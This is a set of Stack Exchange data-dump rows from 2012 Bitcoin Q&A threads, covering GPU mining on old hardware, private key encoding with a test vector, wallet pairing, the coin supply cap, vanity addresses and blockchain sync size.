  <row Id="3836" PostTypeId="2" ParentId="343" CreationDate="2012-05-24T20:47:21.580" Score="1" Body="&lt;p&gt;the question is how old are the mobile phones. if they have J2Me it would be possible. you just need a sms 2 btc gateway that stores the blocks like BCCAPI and allow users transactions. and a j2me app thats hold the privat key and with the possibility to send and recive sms. (given by the j2me api)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you would need do develop this both software, and test it if it is practical usable on most of the african mobile phones&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greetings treaki&lt;/p&gt;&#xA;" OwnerUserId="1415" LastActivityDate="2012-05-24T20:47:21.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3837" PostTypeId="1" CreationDate="2012-05-24T23:34:15.800" Score="5" ViewCount="20850" Body="&lt;p&gt;I know that the most important thing for mining is a GPU. I read some stuff about it but I never read a specific answer to this simple question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some old desktop computer. Pentium 4 (~1GHz) processor and (maybe 256-)512 MBs or RAM.&#xA;Can I use this computer as a base for a simple mining machine if I can just put in a decent GPU??&#xA;I'm just strolling the internet for second-hand GPUs and asking friends, but I cannot afford to invest too much in it, so I'd like to be able to use that desktop for my setup.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2016-03-31T10:35:52.587" LastActivityDate="2018-06-21T03:29:36.717" Title="Can I use an old Pentium 4 desktop for mining if I upgrade it with a good GPU?" Tags="|mining-hardware|gpu-mining|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3838" PostTypeId="2" ParentId="3775" CreationDate="2012-05-24T23:47:09.887" Score="1" Body="&lt;p&gt;I think when you scan the QR code, your password is encoded in that barcode, so your Android phone stores it locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested it myself, but considering this I think you have to enter the secondary password to your Android phone as well. It will either require you to do it every time you make a transaction or remember it for you.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2012-05-24T23:47:09.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3839" PostTypeId="2" ParentId="3059" CreationDate="2012-05-25T01:27:31.027" Score="19" Body="&lt;p&gt;Format (private keys):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uncompressed: 0x80 + [32-byte secret] + [4 bytes of Hash() of&#xA;previous 33 bytes], base58 encoded&lt;/li&gt;&#xA;&lt;li&gt;compressed: 0x80 + [32-byte secret] + 0x01 + [4 bytes of Hash()&#xA;previous 34 bytes], base58 encoded&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;case 1:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;secret (hex):&#xA;1111111111111111111111111111111111111111111111111111111111111111&lt;/li&gt;&#xA;&lt;li&gt;uncompressed:&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;secret (base58): 5HwoXVkHoRM8sL2KmNRS217n1g8mPPBomrY7yehCuXC1115WWsh&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;pubkey (hex):&#xA;044f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa385b6b1b8ead809ca67454d9683fcf2ba03456d6fe2c4abe2b07f0fbdbb2f1c1&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;address (base58): 1MsHWS1BnwMc3tLE8G35UXsS58fKipzB7a&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;compressed:&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;secret (base58): KwntMbt59tTsj8xqpqYqRRWufyjGunvhSyeMo3NTYpFYzZbXJ5Hp&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;pubkey (hex):&#xA;034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;address (base58): 1Q1pE5vPGEEMqRcVRMbtBK842Y6Pzo6nK9&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obtained from the Bitcoin developer mailing list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=CAPg%2BsBhDFCjAn1tRRQhaudtqwsh4vcVbxzm%2BAA2OuFxN71fwUA%40mail.gmail.com&amp;amp;forum_name=bitcoin-development&quot; rel=&quot;noreferrer&quot;&gt;http://sourceforge.net/mailarchive/forum.php?thread_name=CAPg%2BsBhDFCjAn1tRRQhaudtqwsh4vcVbxzm%2BAA2OuFxN71fwUA%40mail.gmail.com&amp;amp;forum_name=bitcoin-development&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="479" LastEditorUserId="2075" LastEditDate="2017-12-19T04:08:03.247" LastActivityDate="2017-12-19T04:08:03.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3840" PostTypeId="2" ParentId="3775" CreationDate="2012-05-25T09:12:33.337" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=83373.new;topicseen#new&quot; rel=&quot;nofollow&quot;&gt;Here is the complete answer&lt;/a&gt; from the forum:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When I create an account via my desktop browser, I am assured that the&#xA;  password only exists on my browser, and is not saved.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So, if I &quot;pair&quot; an Android device with MyWallet, can or can't I send&#xA;  BTC without entering the password?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes you can send BTC without entering the password because the password is contained within the pairing QR Code (The QR Code is constructed using javascript).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does this work with/without a secondary password? What if I first&#xA;  installed the Android app, and only then created a secondary password?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The second password is not contained within the pairing QR Code so you will be prompted to enter it in the iPhone app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set a second password after pairing with only single password after the app syncs the wallet on startup a second password will be required from then on and the original wallet is deleted. If your phone was stolen enabling double encryption doesn't protect your wallet if it was already stored onto the device.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are the files on my Android device / Dropbox encrypted with my first&#xA;  password? My second password? Both?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The wallet format is document here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/wallet-format&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/wallet-format&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For single encryption the entire JSON payload is encrypted with your first password. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With double encryption each private key is encrypted first with the second password and then the payload is encrypted with the first password. (In the web interface click [Import / Export] then [Export Unencrypted] and from the select box choose &quot;Leave private keys encrypted&quot; to see the format)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The wallet is saved in exactly the same way whether stored on the server/app or dropbox.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-05-25T09:12:33.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3841" PostTypeId="2" ParentId="3837" CreationDate="2012-05-25T12:08:23.483" Score="5" Body="&lt;p&gt;With a decent enough GPU (or GPUs), your machine will be a fine miner. The only spec that ACTUALLY matters for mining is the GPU. RAM, CPU, etc don't have much of an impact. &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2012-05-25T12:08:23.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3842" PostTypeId="2" ParentId="3832" CreationDate="2012-05-25T13:08:35.347" Score="1" Body="&lt;p&gt;Known issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://github.com/bitcoin/bitcoin/issues/1242&quot; rel=&quot;nofollow&quot;&gt;http://github.com/bitcoin/bitcoin/issues/1242&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-25T13:08:35.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3843" PostTypeId="2" ParentId="3837" CreationDate="2012-05-25T13:41:31.583" Score="3" Body="&lt;p&gt;It is possible, but you really should first pause for a moment and consider a few things before proceeding further:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What graphics card will you buy - Go to this &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;wiki page&lt;/a&gt;, look which graphics cards are good and then do a search for what you can find in stores. If you're looking for the most efficient mining cards, you might not find them, so you should take that into account.&lt;/li&gt;&#xA;&lt;li&gt;Check whether your motherboard can support said graphics card (shoudln't be an issue in most cases), whether it will fit in your computer case (can be an issue if it is very small or crammed), and whether your power supply can handle it (which probably will be an issue with higher-end cards).&lt;/li&gt;&#xA;&lt;li&gt;Check whether mining is really the thing you want to be doing - the profit margins might not be too high at the moment. You can for example use &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;my mining calculator&lt;/a&gt; - put in how much your graphics card and power supply will cost you, how much power the whole computer will consume, how fast you'll be hashing, and how much does electricity cost you. It might turn out that you'll be mining at a loss. Even if you are not in red, lower the price of Bitcoins a bit and see whether you are still profitable. &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;Difficulty appears to be rising slowly&lt;/a&gt; and the price of Bitcoins can always go down, so you have to be mindful that what you can get at the moment might not be the same as what you can get in the future.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If everything appears to be in order for you, you can try going for it, otherwise you might want to consider just buying some Bitcoins at an exchange and hoping the price will rise. So all in all, it is possible to use your old hardware with a new graphics card to profitably mine Bitcoins, but you have to consider a few factors before making the decision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for a pool that is good for a small miner, basically any of them work. &lt;a href=&quot;http://pastehtml.com/view/awb1vg03r.html&quot; rel=&quot;nofollow&quot;&gt;Compare them&lt;/a&gt; and pick whichever works best for you.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-25T13:41:31.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3844" PostTypeId="2" ParentId="3837" CreationDate="2012-05-25T16:01:46.650" Score="2" Body="&lt;p&gt;&lt;strong&gt;It's likely that your motherboard supports only AGP video cards.&lt;/strong&gt; It's unlikely that you will be able to find a video card with AGP that will provide a decent price/performance ratio, taking into account the cost of the card (minimal for something so old) and electric consumption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Radeon HD 4670 entry on the MHC&lt;/a&gt; lists ~40 Mhash/s. That's less than 1 BTC. At $5/BTC exchange rate, you're making ~$4/mo. If your power is free or ultra cheap, it might be worth it, but you're still making less than 1 BTC/month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless the exchange rate shoots up, it's probably not worth it.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-05-25T16:01:46.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3845" PostTypeId="2" ParentId="3760" CreationDate="2012-05-25T17:04:36.783" Score="0" Body="&lt;p&gt;Presume you went to the nearest coffee shop and realized that you had left your wallet with your cash and credit cards at home and all you had was your mobile phone with a bitcoin app on it. If you can still get a coffee somehow, then Bitcoin is current money at that place and time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as the Mongolian tugrik (the official currency used in Mongolia) would be useless at that same coffee shop, bitcoin would probably get you no further (today).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, though, because bitcoin is electronic and can be transferred nearly instantly, at a trivially low cost (e.g., under a penny, no matter the amount of the payment) and carries no risk of being reversed, it can go from being not widely accepted to being commonly used over a short period of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The catalyst that causes that to happen could come from some use we aren't even considering yet. Or the cause could be one many of us are expecting -- global quantitative easing, meaning commodities and assets hold their value.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-21T15:52:41.823" LastActivityDate="2012-08-21T15:52:41.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3846" PostTypeId="2" ParentId="3837" CreationDate="2012-05-25T20:36:53.833" Score="0" Body="&lt;p&gt;As ThePiachu says, the PSU needs to be suitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some graphics cards require 2 (or even 4, I think) molex cables from your power supply to provide additional power. The wattage from your power supply needs to be adequate to power all the components connected to it, and cheap PSU's often don't even provide their stated wattage (or clean enough output to power for a gfx card). Further, approaching the stated maximum wattage for a given PSU pushes its fan into overdrive and can be extremely noisy. You may need to buy additional cooling fans the help keep the graphics card cool, which draw addional power and need additional cables from the PSU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find this website particularly helpful in picking an appropriate PSU for my PCs:&#xA;&lt;a href=&quot;http://www.silentpcreview.com/section10.html&quot; rel=&quot;nofollow&quot;&gt;http://www.silentpcreview.com/section10.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out this thread to see some typical (and atypical!) mining rigs:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=7216.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=7216.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-05-25T20:36:53.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3847" PostTypeId="1" AcceptedAnswerId="3850" CreationDate="2012-05-26T11:54:45.007" Score="-4" ViewCount="283" Body="&lt;p&gt;Many recent articles state that the great bitcoin experiment failed. Why is that? Has it? &lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2021-02-01T19:46:14.203" LastActivityDate="2021-02-01T19:46:14.203" Title="Why do news articles say that Bitcoins have failed?" Tags="|news-coverage|" AnswerCount="2" CommentCount="2" ClosedDate="2012-05-27T21:14:03.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="3848" PostTypeId="2" ParentId="3847" CreationDate="2012-05-26T21:17:58.647" Score="-1" Body="&lt;p&gt;What you are describing is called &lt;a href=&quot;http://en.wikipedia.org/wiki/Yellow_journalism&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yellow Journalism&lt;/a&gt; - a pejorative to decry any journalism that treats news in an unprofessional or unethical fashion.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is something that is very hard to understand and also its anonymous nature makes monitoring its level of success something difficult to measure. As a result, making an assertion that Bitcoin has failed is something that can be made without having to being accountable even if that assertion might be false. Bitcoin's biggest supporters include many who could be classified as favoring libertarian ideals. &lt;a href=&quot;http://en.wikipedia.org/wiki/Media_bias&quot; rel=&quot;nofollow noreferrer&quot;&gt;Media bias&lt;/a&gt; exists, and generally doesn't favor libertarians.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BGGbn.png&quot; alt=&quot;Nolan chart&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, consider the &lt;a href=&quot;http://en.wikipedia.org/wiki/Media_bias&quot; rel=&quot;nofollow noreferrer&quot;&gt;media bias&lt;/a&gt; against libertarian-leaning Ron Paul in this election:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=yTOVYnk4H-w&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=yTOVYnk4H-w&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-05-28T20:16:11.983" LastActivityDate="2012-05-28T20:16:11.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3850" PostTypeId="2" ParentId="3847" CreationDate="2012-05-27T16:13:49.577" Score="1" Body="&lt;p&gt;Taking a look at the recent history of Bitcoin, say, one year, one sees a lot of problems that could hamper most projects. There was the speculation bubble, big price drop, many hacks on high-profile websites, Bitcoin being accused of promoting drug trade and so forth. At the same time there were few cases when Bitcoin was seen in a positive light - perhaps only the Good Wife episode. From that one could conclude that the project is likely to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real state of Bitcoin project is a bit more complex than that. There is a lot of money tied up with it (miners and investors), and the standard client is a quite stellar piece of software, but at the same time there are few opportunities to actually spend Bitcoins in a meaningful way, and a lot of the Bitcoin ecosystem relies on dubious security of third party applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the Bitcoin project will probably go through a period of remission from the limelight, hopefully giving enough time for the third party applications to shape up, the userbase to grow slowly and so forth, and only then start becoming more noticeable again, when it will start replacing other online payment processors. Alternatively, some major Bitcoin solutions might be taken down and the whole project could suffer because of that (say, if MtGox stopped operating).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is not dead, and it probably won't be shaped by the bigger news articles.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-27T16:13:49.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3851" PostTypeId="1" CreationDate="2012-05-27T18:50:26.620" Score="12" ViewCount="13427" Body="&lt;p&gt;Are there any ways to increase the Bitcoin maximum coin limit, as a wider adoption would mean there would be a lot of real money chasing fewer number of coins? Also can one hold a fraction of a coin?&lt;/p&gt;&#xA;" OwnerUserId="1417" LastEditorUserId="5406" LastEditDate="2014-05-07T09:43:23.490" LastActivityDate="2017-09-01T14:55:27.380" Title="How to overcome the 21M limit of Bitcoins as adoption increases?" Tags="|money-supply|reward-schedule|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3852" PostTypeId="2" ParentId="3851" CreationDate="2012-05-27T19:06:02.870" Score="15" Body="&lt;p&gt;A single Bitcoin is currently &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3663/why-can-we-have-small-fractions-of-a-bitcoin&quot;&gt;divisible up to 8 decimal places&lt;/a&gt; (giving you 21*10^14 units of money, or about 2.1 quadrillion units), nothing stops it from being divided further with small protocol change. In order to change the limit of Bitcoins created, one needs to change the protocol and force most of the Bitcoin network to adopt the change, which can be quite hard to do. This hard limit of the amount of Bitcoins is one of the features of the system, not a flaw - it is meant to fight against inflation. If for some reason you want a cryptocurrency without a limit (hint from Lohoris: you don't), try &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1895/what-bitcoin-esque-alternatives-are-there&quot;&gt;browsing for alternatives&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, there will be enough Bitcoins to go around for everyone for a long while.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-05-29T23:45:44.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3853" PostTypeId="1" AcceptedAnswerId="3879" CreationDate="2012-05-27T19:10:36.687" Score="25" ViewCount="6613" Body="&lt;p&gt;One can easily generate &lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot;&gt;vanity addresses&lt;/a&gt; for Bitcoin, but they can take quite awhile to generate. Outsourcing that process to someone with a strong mining rig is an option, but then one runs into the risk of the person generating the address using it without our knowledge to steal our coins. Is it possible to generate vanity addresses in such a manner so as to make it impossible for anyone to steal your private keys?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2019-11-01T11:21:29.977" Title="Can one safely buy vanity addresses from a third party without risking one's coins from being stolen?" Tags="|security|theft|vanity-address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3854" PostTypeId="1" CreationDate="2012-05-27T19:36:06.827" Score="4" ViewCount="330" Body="&lt;p&gt;I've been looking at generating some vanity addresses today, and I found it surprising that the program generating the address predicts that it will take a different amount of tries to compute a vanity address of the same length, but with a different pattern. For example, generating &quot;11...&quot; takes 256 tries, while &quot;12...&quot; takes 23. Shouldn't it takes the same amount of tries to generate both of them, or am I missing some important detail?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-03-06T19:13:02.117" LastActivityDate="2021-03-06T19:13:02.117" Title="Why does it take a different time to generate a different pattern of the same length in vanitygen?" Tags="|vanity-address|base58check|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3855" PostTypeId="2" ParentId="3835" CreationDate="2012-05-27T20:20:20.283" Score="14" Body="&lt;p&gt;Here's a list of the most notable scams, thefts, and hacks:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=83794&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=83794&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1378" LastActivityDate="2012-05-27T20:20:20.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3856" PostTypeId="2" ParentId="3757" CreationDate="2012-05-27T23:54:36.217" Score="3" Body="&lt;p&gt;The important answer is on &lt;a href=&quot;https://support.mtgox.com/entries/20568322-all-eur-transactions-will-be-temporarily-suspended-within-europe-with-immediate-effect&quot; rel=&quot;nofollow&quot;&gt;https://support.mtgox.com/entries/20568322-all-eur-transactions-will-be-temporarily-suspended-within-europe-with-immediate-effect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;quote : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;While Bitcoin at a European level is so far not directly impacted by&#xA;  this decision, the Bank de France (France's central bank) has&#xA;  confirmed that because of European banking rules, monetary transfers&#xA;  (deposits and withdrawals) through a single entity are subject to&#xA;  financial regulation and therefore can only be performed by licensed&#xA;  financial institutions such as banks or Payment Service companies (the&#xA;  European Equivalent to a Money Service Business). This decision has&#xA;  forced us to find other payment processing partners within Europe that&#xA;  will allow us to quickly resume all EUR transactions for our European&#xA;  customers soon.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To be allowed to accept deposits, keep your funds, and allow withdrawals, mtgox ( and any other European based exchange, like virwox for example ) have to be registered as a Payment Service Company (the European Equivalent to a Money Service Business).&#xA; Since virwox is in Europe, they are probably illegal if they dont have this Payment Service Company license&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is true for any website or company wanting to accept deposits, keep your funds, and allow withdrawals, bitcoin related or not&#xA; This decision is not related with bitcoin, it applies to anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Registering as a Payment Service company takes time and is very expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more details for :&#xA;Money Services Business  : &lt;a href=&quot;http://en.wikipedia.org/wiki/Money_services_business&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Money_services_business&lt;/a&gt;&#xA;Payment Service provider : &lt;a href=&quot;http://en.wikipedia.org/wiki/Payment_service_provider&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Payment_service_provider&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2012-05-29T09:59:14.247" LastActivityDate="2012-05-29T09:59:14.247" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3857" PostTypeId="2" ParentId="3853" CreationDate="2012-05-28T01:14:25.390" Score="9" Body="&lt;p&gt;Thanks to Elliptic Curve cryptography, a third party doesn't need to know the private key to generate a vanity address, as JoelKatz describes here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=81865.msg901491#msg901491&quot;&gt;http://bitcointalk.org/index.php?topic=81865.msg901491#msg901491&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-28T01:14:25.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3858" PostTypeId="2" ParentId="3854" CreationDate="2012-05-28T06:26:55.043" Score="3" Body="&lt;p&gt;Each leading 1 in an address after the first 1 represents a leading zero &lt;em&gt;byte&lt;/em&gt; in the 160 bit hash of the public key, and so makes the search 256 times harder.  See &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;the wiki page for Base58Check encoding&lt;/a&gt; for details.  Whereas any other character makes the search only around 56 times harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every version 0 bitcoin address begins with a 1.  And 1 in 256 of them begin with two 1's.  However, I don't know where the 23 comes from.  Perhaps it's a result of &lt;a href=&quot;http://en.wikipedia.org/wiki/Benford%27s_law&quot; rel=&quot;nofollow&quot;&gt;Benford's law&lt;/a&gt; - we're changing to base 58, and so can expect more addresses to start with '12' than any other 2 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see this, suppose there were 256 addresses, from 0x00 to 0xFF, and that we converted them to base 10 to make addresses.  There are 256 different addresses, and 111 of the 256 begin with a '1' (1, 10, 11, ..., 19, 100, 101, ..., 199).  In bitcoin's base58 encoding, value 1 is encoded by character '2'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: the above is kind of convincing until you see that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;'12' through '16' all have difficulty 23,&lt;/li&gt;&#xA;&lt;li&gt;'17' through '1P' have difficulty 22,&lt;/li&gt;&#xA;&lt;li&gt;'1Q' has difficulty 65 and&lt;/li&gt;&#xA;&lt;li&gt;'1R' through '1z' have difficulty 1353.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-05-28T06:32:21.667" LastActivityDate="2012-05-28T06:32:21.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3859" PostTypeId="2" ParentId="3446" CreationDate="2012-05-28T09:51:49.213" Score="1" Body="&lt;p&gt;Well there is the minimalist Obi-Wan live EUR/BTC ticker app, hosted there: &lt;a href=&quot;http://dre.tx0.org/&quot; rel=&quot;nofollow&quot;&gt;http://dre.tx0.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not technically a Windows 7 gadget, it essentially does exactly what you are looking for and I've been using for a couple months with no issues.&lt;/p&gt;&#xA;" OwnerUserId="1422" LastActivityDate="2012-05-28T09:51:49.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3860" PostTypeId="2" ParentId="3851" CreationDate="2012-05-28T09:57:44.443" Score="3" Body="&lt;p&gt;The reason there is a cap to the amount of Bitcoins is to create a design that should increase in value longterm as opposed to decrease forever as FIAT does. &#xA;Noone would want to invest in a new currency that was designed to decrease in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is no limit on how small size a Bitcoin can be divided to. &#xA;A single coin could be made enough to cover the whole earth if all the 21 million coins are lost.&lt;/p&gt;&#xA;" OwnerUserId="1423" LastActivityDate="2012-05-28T09:57:44.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3861" PostTypeId="1" CreationDate="2012-05-28T15:28:55.467" Score="15" ViewCount="29414" Body="&lt;p&gt;Best guess/calculation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I transferred some bitcoins to my new wallet after generating an address. This was this morning, and have had my bitcoin wallet syncing all afternoon (5 hours), so far it has downloaded 1.5GB of data and maxed out my 3G broadband quota for the month :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also really slow towards the end, sitting at 80% now and ticking over verrrry slow. Is this because the latest blocks contain more transactions (as doesn't every block contain history of all transactions before it?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will that mean future new bitcoin users are going to have to deal with a huge download size/ sync quota?&lt;/p&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="42185" LastEditDate="2019-05-30T01:16:32.723" LastActivityDate="2019-05-30T01:16:32.723" Title="How many MB of data does my bitcoin client have to download to be fully sync'd?" Tags="|client|wallet|performance|network|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
